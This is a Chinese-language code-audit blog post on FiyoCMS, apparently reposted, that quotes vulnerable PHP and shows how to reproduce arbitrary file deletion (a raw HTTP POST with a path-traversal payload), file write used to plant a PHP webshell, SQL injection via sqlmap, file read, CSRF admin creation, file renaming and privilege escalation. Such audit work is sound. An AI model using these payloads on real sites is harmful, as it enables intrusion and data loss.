2020/2/21 fiyocms代碼審計


0x00 前言

上午上了網課,一上午就裝好了cms,下午還有網課,要是結束的早就進行審計。
解決了一下phpstudy使用過程中:

Forbidden You don't have permission to access /install on this server.

解決方法:
加個index.php等入口文件
2:
其他選項菜單->軟件設置->允許目錄列表

0x01 通讀代碼

先看入口文件:
index.php
判斷了一下config.php是否存在,不存在會進行安裝cms
否則包含system/core.php
我們跟進。
看到包含了一堆文件,我們跟進去讀

簡單看了一下,就是創建數據庫,鏈接數據庫
site.php
過濾了很多非法字符
最后刪除Installer.php
避免網站重裝。
user.php
USER_LEVEL有分級

0x02 根據審計結果來通讀

上面讀了一些配置文件,接下來根據審計結果來讀

根據之前的審計經驗,任意文件刪除漏洞還是比較好找的,而且這種遠古cms還挺多的233

0x03 任意文件刪除漏洞

我們看

/dapur/apps/app_config/controller/backuper.php

15-30行

if(isset($_POST['type'])) {         

      if($_POST['type'] == 'database') {        

            @unlink("../../../../.backup/$_POST[file]");          

            if(!file_exists('../../../../.backup'))

                  mkdir('../../../../.backup');             

            $date = md5(date("Ymd:His"));

            $file = "db-backup-$date";

            $c = backup_tables("*",'../../../../.backup',"$file",true);

            if($c)            {

                  $size = 
format_size(filesize("../../../../.backup/$file.sql"));

                  $time = date("Y/m/d 
H:i:s",filemtime("../../../../.backup/$file.sql"));   

                  $r = "$size - $time";

                  echo "{ :$file.sql, :$r}";

                  

            }

      }     

和前幾個cms一樣
通過POST傳遞的參數file沒有經過任何處理就拼接進unlink函數進行文件刪除操作
復現
先創建一個文件

payload:

POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: bdshare_firstime=1581904550027; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=mdu33l281pnno5gpdb2ps6m4m4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

type=database&file=../k0i.php

成功復現

這個cms多處都存在這個問題。

0x04 文件上傳漏洞

還有一個文件上傳漏洞
位置

/dapur/apps/app_theme/libs/save_file.php
問題代碼:

require_once ('../../../system/jscore.php');

$c = $_POST["content"];

$f = $_POST["src"]; 





$w = file_put_contents($f,$c);

顯而易見沒有過濾參數就拼接在file_put_contents函數中,構成文件上傳漏洞

復現

在網站根目錄下上傳一個文件名為k0i.php的一句話木馬文件,結果如下圖

0x05 SQL注入漏洞

在通讀了代碼后發現這個cms並不像之前的sql語句多,可以試着去找有關數據庫的頁面,也可以試着全局搜索關鍵字如:"select","update"等等。
我們看一下這一個SQL注入:
事實上我們的審計結果也指向了此處:

/system/database.php

public function update($table,$rows,$where)

    {

        $update = 'UPDATE '.$table.' SET ';

        $keys = array_keys($rows);

            

        for($i = 0; $i < count($rows); $i++){

            if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !== 
'+hits')

            {

                $update .= $keys[$i].'="'.$rows[$keys[$i]].'"';

            }

            else

            {

                        if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]] 
= $keys[$i] . '+'. 1;

                 $update .= $keys[$i].'='.$rows[$keys[$i]];

            }



            // Parse to add commas

            if($i != count($rows)-1)

            {

                $update .= ',';

            }

        }

                  

        $update .= ' WHERE '.$where;       

可以看到這里update語句中的where條件是通過直接拼接參數$where而成的,猜測可能通過$where參數構成sql注入,我們隨便找一個帶有update方法的實例
全局搜索找一處

if(isset($_GET['stat'])) {

      if($_GET['stat']=='1'){

            $db->update(FDBPrefix.'user',array("status"=>"1"),'id='.$_GET['id']);

            alert('success',Status_Applied,1);

      }

復現:

sqlmap.py -r C:\Users\hp\Desktop\11.txt --batch --dbs

0x06 任意文件讀取漏洞

問題代碼:

dapur\apps\app_theme\libs\check_file.php

define('_FINDEX_','BACK');



require_once ('../../../system/jscore.php');

$file = $url= "$_GET[src]/$_GET[name]"; 

$furl = "../../../$url";



$content = strlen("$file") - 5;

$content = substr("$file",$content);

$file = strpos("$content",".");

$file = substr("$content",$file+1);



if($file == "html" || $file == "htm" || $file == "xhtml" || $file == 
"js" ||

$file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) :

      $content = @file_get_contents($furl);

      $content = htmlentities($content);



?>

我們看一下:

當$file后綴名為指定文件后綴時:html、htm、xhtml、js、jsp、php、css、xml 的任意文件
通過file_get_contents函數進行文件讀取功能,而參數$furl是通過GET方式傳入的參數src和name拼接而成的,這就構成了任意文件讀取漏洞

復現

0x07 CSRF添加超級用戶

/dapur/apps/app_user/sys_user.php

第110-123行

if(isset($_POST['save']) or isset($_POST['apply'])){

      $us=strlen("$_POST[user]");

      $ps=strlen("$_POST[password]");

      $user = $_POST['user'];

      $name = $_POST['name'];

      preg_match('/[^a-zA-Z0-9]+/', $user, $matches);

      if(!empty($_POST['password']) AND 

            !empty($_POST['user'])AND 

            !empty($_POST['name'])AND 

            !empty($_POST['email'])AND 

            !empty($_POST['level'])AND 

            $_POST['password']==$_POST['kpassword'] AND 

            $us>2 AND $ps>3 AND @ereg("^.+@.+\..+$",$_POST['email']) AND 
!$matches) {

            $qr=$db->insert(FDBPrefix.'user',array("","$user","$name",MD5("$_POST[password]"),"$_POST[email]","$_POST[status]","$_POST[level]",date('Y-m-d 
H:i:s'),'',"$_POST[bio]")); 

可以看到該程序實現了添加用戶的功能,但是並沒有使用token來防止CSRF攻擊
復現:

利用bp自帶的CSRF工具

生成poc:
當管理員點擊我們的鏈接127.0.0.1/1.html時,會生成一個超級用戶

0x08 任意文件名修改漏洞

dapur\apps\app_config\sys_config.php
190-193行
問題代碼:

er = $_POST['folder_new'];

            $old_folder = $_POST['folder_old'];

            if($old_folder != $new_folder) {

                  $ok = @rename("../$old_folder","../$new_folder");

讀一下他的功能是修改后台路徑,但是沒有對變量進行過濾

復現:

我們可以將 config.php 修改成 config.txt ,然后直接查看網站配置信息。

0x09 越權漏洞

fiyocms一共設置了5個用戶組,等級為1-5,權限依次降低,而只有等級1-3有權限登錄后台,不同等級具有不同的權限。

super administrator = 1
administrator = 2
editor = 3
publisher = 4
member = 5

位置:

dapur\apps\app_user\sys_user.php
148-211行

if(isset($_POST['edit']) or isset($_POST['applyedit'])){

            $us=strlen("$_POST[user]");

            $ps=strlen("$_POST[password]");     

            $user = $_POST['user'];

            $name = $_POST['name'];

            $_POST["bio"] = htmlentities("$_POST[bio]");

            preg_match('/[^a-zA-Z0-9]+/', $user, $matches);

            if(!empty($_POST['user'])AND !empty($_POST['name'])AND 
!empty($_POST['email'])AND !empty($_POST['level']) AND $us>2 AND 
@ereg("^.+@.+\..+$",$_POST['email']) AND !$matches) 

            {

                  $qr = false;

                  if($_POST['id'] == $_SESSION['USER_ID']) 
$_POST['status'] = 1;

                  if(empty($_POST['password'])){

                        $qr = $db->update(FDBPrefix.'user',array(                   

                        "user"=>"$_POST[user]",

                        "name"=>"$_POST[name]",

                        "email"=>"$_POST[email]",

                        "status"=>"$_POST[status]",

                        "about"=>"$_POST[bio]",

                        "level"=>"$_POST[level]"),

                        "id=$_POST[id]"); }

                  elseif($_POST['password']==$_POST['kpassword']){

                        $qr = $db->update(FDBPrefix.'user',array(                   

                        "user"=>"$_POST[user]",

                        "name"=>"$_POST[name]",

                        "password"=>MD5("$_POST[password]"),

                        "email"=>"$_POST[email]",

                        "about"=>"$_POST[bio]",

                        "status"=>"$_POST[status]",

                        "level"=>"$_POST[level]"),

                        "id=$_POST[id]"); 

                        }

                        

                  if($qr AND isset($_POST['edit'])){        

                        notice('success',User_Saved);

                        redirect('?app=user');

                  }

                  else if($qr AND isset($_POST['applyedit'])){

                        notice('success',User_Saved); 

                        redirect(getUrl());                 

                  }

                  else {                        

                        notice('error',Status_Invalid,2);

                  }                             

            }

            else 

            {                       

                  notice('error',Status_Invalid,2);

            }

      }

}

可以看到程序在對用戶賬戶進行操作前,並沒有對用戶的身份進行確認或者說沒有對用戶的權限進行檢查,這也是越權漏洞產生的原因。
復現:

0x10 總結

到此,這個cms算是審完了。
先總結一下這個cms
與之前審計的cms不同,漏洞主要集中在后台。
而且漏洞的很多成因幾乎都是未對用戶提交的參數進行過濾處理。
審計起來難度不大,對我這種小白還是很友好的233
有什么收獲呢:
善用全局搜索,比如sql注入,我們可以全局搜索特定操作,如"uptate".
對文件操作時,關注一下變量,是否有過濾,怎么拼接的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM